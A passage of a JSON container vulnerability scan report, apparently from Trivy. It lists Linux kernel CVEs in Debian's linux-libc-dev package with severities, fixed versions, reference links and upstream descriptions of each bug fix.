"https://git.kernel.org/linus/3fb43a7a5b44713f892c58ead2e5f3a1bc9f4ee7%20%287.0-rc7%29", "https://git.kernel.org/stable/c/1603dd471f47762e9d1f52304edb3e49a7e62655", "https://git.kernel.org/stable/c/3fb43a7a5b44713f892c58ead2e5f3a1bc9f4ee7", "https://git.kernel.org/stable/c/64b24b713e1a3ea6624480594b4f8c2ff86502f2", "https://git.kernel.org/stable/c/8ddfe6495c245226a30d8b36e2f4a7aa7712e8d6", "https://git.kernel.org/stable/c/99f31aa98ab6e3805c455b65bcd01b3d48bdf1a5", "https://git.kernel.org/stable/c/de3f923ae7d91480ed3ecea1b1e1fc0dc25b597d", "https://git.kernel.org/stable/c/eae19cab44204537f79146f15a51811b13227c38", "https://git.kernel.org/stable/c/f72b5567f7c117b46b4058dc6a0c7554f8565561", "https://lore.kernel.org/linux-cve-announce/2026050141-CVE-2026-31747-430e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31747", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31747" ], "PublishedDate": "2026-05-01T15:16:37.463Z", "LastModifiedDate": "2026-06-17T10:34:23.277Z" }, { "VulnerabilityID": "CVE-2026-31748", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31748", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8366f2d89d353b8028de5dc20e1c5a32a9675e147ca8eddc20f5157b9c1ab19c", "Title": "kernel: comedi: me_daq: Fix potential overrun of firmware buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncomedi: me_daq: Fix potential overrun of firmware buffer\n\n`me2600_xilinx_download()` loads the firmware that was requested by\n`request_firmware()`. It is possible for it to overrun the source\nbuffer because it blindly trusts the file format. It reads a data\nstream length from the first 4 bytes into variable `file_length` and\nreads the data stream contents of length `file_length` from offset 16\nonwards. Although it checks that the supplied firmware is at least 16\nbytes long, it does not check that it is long enough to contain the data\nstream.\n\nAdd a test to ensure that the supplied firmware is long enough to\ncontain the header and the data stream. On failure, log an error and\nreturn `-EINVAL`.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31748", "https://git.kernel.org/linus/cc797d4821c754c701d9714b58bea947e31dbbe0%20%287.0-rc7%29", "https://git.kernel.org/stable/c/1bf8761eb59e94bf7b8c17b2a1ee48f14378b172", "https://git.kernel.org/stable/c/2fc25a4c2e055cd42ea39a1b42c89bfef70e0319", "https://git.kernel.org/stable/c/9f39fa07259eb342908e4aa0271dee038a8ce4f8", "https://git.kernel.org/stable/c/a47ae40339c1048f519df33ff8840731720f57cb", "https://git.kernel.org/stable/c/c16ac4e173a05011437a2d868f70cc415339065a", "https://git.kernel.org/stable/c/c8c607a77aab783f2e38cc2e0f24aa6c8f6d200b", "https://git.kernel.org/stable/c/cc797d4821c754c701d9714b58bea947e31dbbe0", "https://git.kernel.org/stable/c/f3f8ec00cfb8d8e826e30b1138a56355b88e9ba8", "https://lore.kernel.org/linux-cve-announce/2026050141-CVE-2026-31748-ab3e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31748", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31748" ], "PublishedDate": "2026-05-01T15:16:37.593Z", "LastModifiedDate": "2026-06-17T10:34:23.397Z" }, { "VulnerabilityID": "CVE-2026-31759", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31759", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c609fcf3f3ae158e16a3bfdfa0a83f26c038d342af1fe7e88a1f1d7297ab376f", "Title": "kernel: usb: ulpi: fix double free in ulpi_register_interface() error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: ulpi: fix double free in ulpi_register_interface() error path\n\nWhen device_register() fails, ulpi_register() calls put_device() on\nulpi-\u003edev.\n\nThe device release callback ulpi_dev_release() drops the OF node\nreference and frees ulpi, but the current error path in\nulpi_register_interface() then calls kfree(ulpi) again, causing a\ndouble free.\n\nLet put_device() handle the cleanup through ulpi_dev_release() and\navoid freeing ulpi again in ulpi_register_interface().", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31759", "https://git.kernel.org/linus/01af542392b5d41fd659d487015a71f627accce3%20%287.0-rc7%29", "https://git.kernel.org/stable/c/01af542392b5d41fd659d487015a71f627accce3", "https://git.kernel.org/stable/c/272a9b26c336a295e4e209157fed809706c1b1f7", "https://git.kernel.org/stable/c/2f70ba9dae13a190673cc3f9b4aad52179738f60", "https://git.kernel.org/stable/c/38c28fe25611099230f0965c925499bfcf46a795", "https://git.kernel.org/stable/c/8763f8317bb389aded32a32b08f6751cfff657d2", "https://git.kernel.org/stable/c/a6e5461f076c2ef63159f18e5cdbd30b50f0bc15", "https://git.kernel.org/stable/c/aaeae6533d77e6ed4def85baec01e2815ebbef61", "https://git.kernel.org/stable/c/ee248e6e941e4f2e634df2bd43e5f1ef810ab6df", "https://linux.oracle.com/cve/CVE-2026-31759.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050145-CVE-2026-31759-426b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31759", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31759" ], "PublishedDate": "2026-05-01T15:16:38.923Z", "LastModifiedDate": "2026-11-06T16:18:09.52Z" }, { "VulnerabilityID": "CVE-2026-31778", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31778", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a23451a1e4862084451ab3a1003f69cb327ae1e665088537dddbd5a03d9f8e3b", "Title": "kernel: ALSA: caiaq: fix stack out-of-bounds read in init_card", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: caiaq: fix stack out-of-bounds read in init_card\n\nThe loop creates a whitespace-stripped copy of the card shortname\nwhere `len \u003c sizeof(card-\u003eid)` is used for the bounds check. Since\nsizeof(card-\u003eid) is 16 and the local id buffer is also 16 bytes,\nwriting 16 non-space characters fills the entire buffer,\noverwriting the terminating nullbyte.\n\nWhen this non-null-terminated string is later passed to\nsnd_card_set_id() -\u003e copy_valid_id_string(), the function scans\nforward with `while (*nid \u0026\u0026 ...)` and reads past the end of the\nstack buffer, reading the contents of the stack.\n\nA USB device with a product name containing many non-ASCII, non-space\ncharacters (e.g. multibyte UTF-8) will reliably trigger this as follows:\n\n BUG: KASAN: stack-out-of-bounds in copy_valid_id_string\n sound/core/init.c:696 [inline]\n BUG: KASAN: stack-out-of-bounds in snd_card_set_id_no_lock+0x698/0x74c\n sound/core/init.c:718\n\nThe off-by-one has been present since commit bafeee5b1f8d (\"ALSA:\nsnd_usb_caiaq: give better shortname\") from June 2009 (v2.6.31-rc1),\nwhich first introduced this whitespace-stripping loop. The original\ncode never accounted for the null terminator when bounding the copy.\n\nFix this by changing the loop bound to `sizeof(card-\u003eid) - 1`,\nensuring at least one byte remains as the null terminator.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31778", "https://git.kernel.org/linus/45424e871abf2a152e247a9cff78359f18dd95c0%20%287.0-rc7%29", "https://git.kernel.org/stable/c/02d9c5b0b5553a391448b6d655262bd829f90234", "https://git.kernel.org/stable/c/3178b62e2e31bab39f63d4c8e54bf4ee0a425627", "https://git.kernel.org/stable/c/3afa2e67f3523a980a2f90fd63c22322ac2b9ce0", "https://git.kernel.org/stable/c/3f7f8bae0d52cbd07ab04b76b6aac89ef98ee9f6", "https://git.kernel.org/stable/c/45424e871abf2a152e247a9cff78359f18dd95c0", "https://git.kernel.org/stable/c/66194c2575a4f567577ae70b1d7561163ce791a6", "https://git.kernel.org/stable/c/7594a6464873d90fd229e5b94cdd3b92c9feabed", "https://git.kernel.org/stable/c/a82c1bce2d1299dd3c686a8fe48cf75b79a403c7", "https://linux.oracle.com/cve/CVE-2026-31778.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050150-CVE-2026-31778-5ddb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31778", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31778" ], "PublishedDate": "2026-05-01T15:16:41.19Z", "LastModifiedDate": "2026-11-06T16:18:10.52Z" }, { "VulnerabilityID": "CVE-2026-31787", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31787", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8a73571df1f7e4520b4131341b4df7ddbcdb7bc87d364f11f1a26644be053456", "Title": "kernel: xen/privcmd: fix double free via VMA splitting", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxen/privcmd: fix double free via VMA splitting\n\nprivcmd_vm_ops defines .close (privcmd_close), but neither .may_split\nnor .open. When userspace does a partial munmap() on a privcmd mapping,\nthe kernel splits the VMA via __split_vma(). Since may_split is NULL,\nthe split is allowed. vm_area_dup() copies vm_private_data (a pages\narray allocated in alloc_empty_pages()) into the new VMA without any\nfixup, because there is no .open callback.\n\nBoth VMAs now point to the same pages array. When the unmapped portion\nis closed, privcmd_close() calls:\n - xen_unmap_domain_gfn_range()\n - xen_free_unpopulated_pages()\n - kvfree(pages)\n\nThe surviving VMA still holds the dangling pointer. When it is later\ndestroyed, the same sequence runs again, which leads to a double free.\n\nFix this issue by adding a .may_split callback denying the VMA split.\n\nThis is XSA-487 / CVE-2026-31787", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/04/28/14", "http://xenbits.xen.org/xsa/advisory-487.html", "https://access.redhat.com/errata/RHSA-2026:27789", "https://access.redhat.com/security/cve/CVE-2026-31787", "https://bugzilla.redhat.com/2460646", "https://bugzilla.redhat.com/2461503", "https://bugzilla.redhat.com/2464092", "https://bugzilla.redhat.com/2464502", "https://bugzilla.redhat.com/2467083", "https://bugzilla.redhat.com/2467215", "https://bugzilla.redhat.com/2468155", "https://bugzilla.redhat.com/2479492", "https://bugzilla.redhat.com/2481922", "https://bugzilla.redhat.com/2482181", "https://bugzilla.redhat.com/2482563", "https://bugzilla.redhat.com/2482576", "https://bugzilla.redhat.com/2482581", "https://bugzilla.redhat.com/2482608", "https://bugzilla.redhat.com/2482634", "https://bugzilla.redhat.com/2482645", "https://bugzilla.redhat.com/2482654", "https://bugzilla.redhat.com/show_bug.cgi?id=2460646", "https://bugzilla.redhat.com/show_bug.cgi?id=2461503", "https://bugzilla.redhat.com/show_bug.cgi?id=2464092", "https://bugzilla.redhat.com/show_bug.cgi?id=2464502", "https://bugzilla.redhat.com/show_bug.cgi?id=2467083", "https://bugzilla.redhat.com/show_bug.cgi?id=2467215", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2479492", "https://bugzilla.redhat.com/show_bug.cgi?id=2481922", "https://bugzilla.redhat.com/show_bug.cgi?id=2482181", "https://bugzilla.redhat.com/show_bug.cgi?id=2482563", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482608", "https://bugzilla.redhat.com/show_bug.cgi?id=2482634", "https://bugzilla.redhat.com/show_bug.cgi?id=2482645", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31474", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31772", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43279", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46152", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46173", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331", "https://errata.almalinux.org/9/ALSA-2026-27789.html", "https://errata.rockylinux.org/RLSA-2026:27789", "https://git.kernel.org/stable/c/1576ff3869cbd3620717195f971c85b7d7fd62b5", "https://git.kernel.org/stable/c/24daca4fc07f3ff8cd0e3f629cd982187f48436a", "https://git.kernel.org/stable/c/2894a351fe2ea8684919d36df3188b9a35e3926f", "https://git.kernel.org/stable/c/2b985d3a024b9e8c24e21671b34e855569763808", "https://git.kernel.org/stable/c/402d84ad9e89bd4cbfd07ca8598532b7021daf95", "https://git.kernel.org/stable/c/446ee446d9ae66f36e95c3c90bbcc4e56b94cde0", "https://git.kernel.org/stable/c/71bf829800758a6e3889096e4754ef47ba7fc850", "https://git.kernel.org/stable/c/dbf862ce9f009128ab86b234d91413a3e450beb4", "https://linux.oracle.com/cve/CVE-2026-31787.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026043034-CVE-2026-31787-f6cc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31787", "https://www.cve.org/CVERecord?id=CVE-2026-31787", "https://xenbits.xen.org/xsa/advisory-487.html" ], "PublishedDate": "2026-04-30T11:16:21.087Z", "LastModifiedDate": "2026-11-06T16:18:11.087Z" }, { "VulnerabilityID": "CVE-2026-31788", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31788", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2223e7abcc88f6c628d91d6e514b7893811899392e16b26def1098952765edf3", "Title": "kernel: xen/privcmd: restrict usage in unprivileged domU", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxen/privcmd: restrict usage in unprivileged domU\n\nThe Xen privcmd driver allows to issue arbitrary hypercalls from\nuser space processes. This is normally no problem, as access is\nusually limited to root and the hypervisor will deny any hypercalls\naffecting other domains.\n\nIn case the guest is booted using secure boot, however, the privcmd\ndriver would be enabling a root user process to modify e.g. kernel\nmemory contents, thus breaking the secure boot feature.\n\nThe only known case where an unprivileged domU is really needing to\nuse the privcmd driver is the case when it is acting as the device\nmodel for another guest. In this case all hypercalls issued via the\nprivcmd driver will target that other guest.\n\nFortunately the privcmd driver can already be locked down to allow\nonly hypercalls targeting a specific domain, but this mode can be\nactivated from user land only today.\n\nThe target domain can be obtained from Xenstore, so when not running\nin dom0 restrict the privcmd driver to that target domain from the\nbeginning, resolving the potential problem of breaking secure boot.\n\nThis is XSA-482\n\n---\nV2:\n- defer reading from Xenstore if Xenstore isn't ready yet (Jan Beulich)\n- wait in open() if target domain isn't known yet\n- issue message in case no target domain found (Jan Beulich)", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/03/24/2", "http://www.openwall.com/lists/oss-security/2026/03/24/3", "http://www.openwall.com/lists/oss-security/2026/03/24/4", "http://www.openwall.com/lists/oss-security/2026/03/24/5", "http://www.openwall.com/lists/oss-security/2026/03/26/4", "http://xenbits.xen.org/xsa/advisory-482.html", "https://access.redhat.com/security/cve/CVE-2026-31788", "https://git.kernel.org/linus/1613462be621ad5103ec338a7b0ca0746ec4e5f1", "https://git.kernel.org/linus/453b8fb68f3641fea970db88b7d9a153ed2a37e8", "https://git.kernel.org/stable/c/1879319d790f7d57622cdc22807b60ea78b56b6d", "https://git.kernel.org/stable/c/389bae9a4409934e8b8d4dbdaaf02a3ae71cf8e4", "https://git.kernel.org/stable/c/3ee5b9e3de4b8bdd74183d83205481c91a9effc8", "https://git.kernel.org/stable/c/453b8fb68f3641fea970db88b7d9a153ed2a37e8", "https://git.kernel.org/stable/c/4eb245ff0d33b618e097a2c23de5df56d4ad6969", "https://git.kernel.org/stable/c/78432d8f0372c71c518096395537fa12be7ff24e", "https://git.kernel.org/stable/c/87a803edb2ded911cb587c53bff179d2a2ed2a28", "https://git.kernel.org/stable/c/cbede2e833da1893afbea9b3ff29b5dda23a4a91", "https://linux.oracle.com/cve/CVE-2026-31788.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032548-CVE-2026-31788-032c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31788", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31788", "https://xenbits.xen.org/xsa/advisory-482.html" ], "PublishedDate": "2026-03-25T11:16:40.513Z", "LastModifiedDate": "2026-10-19T20:17:59.56Z" }, { "VulnerabilityID": "CVE-2026-43007", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43007", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5edb67681afc37b954b2817bb38213eccfd50a9dbf29a064bfaf4409b97c7ad4", "Title": "kernel: accel/qaic: Handle DBC deactivation if the owner went away", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\naccel/qaic: Handle DBC deactivation if the owner went away\n\nWhen a DBC is released, the device sends a QAIC_TRANS_DEACTIVATE_FROM_DEV\ntransaction to the host over the QAIC_CONTROL MHI channel. QAIC handles\nthis by calling decode_deactivate() to release the resources allocated for\nthat DBC. Since that handling is done in the qaic_manage_ioctl() context,\nif the user goes away before receiving and handling the deactivation, the\nhost will be out-of-sync with the DBCs available for use, and the DBC\nresources will not be freed unless the device is removed. If another user\nloads and requests to activate a network, then the device assigns the same\nDBC to that network, QAIC will 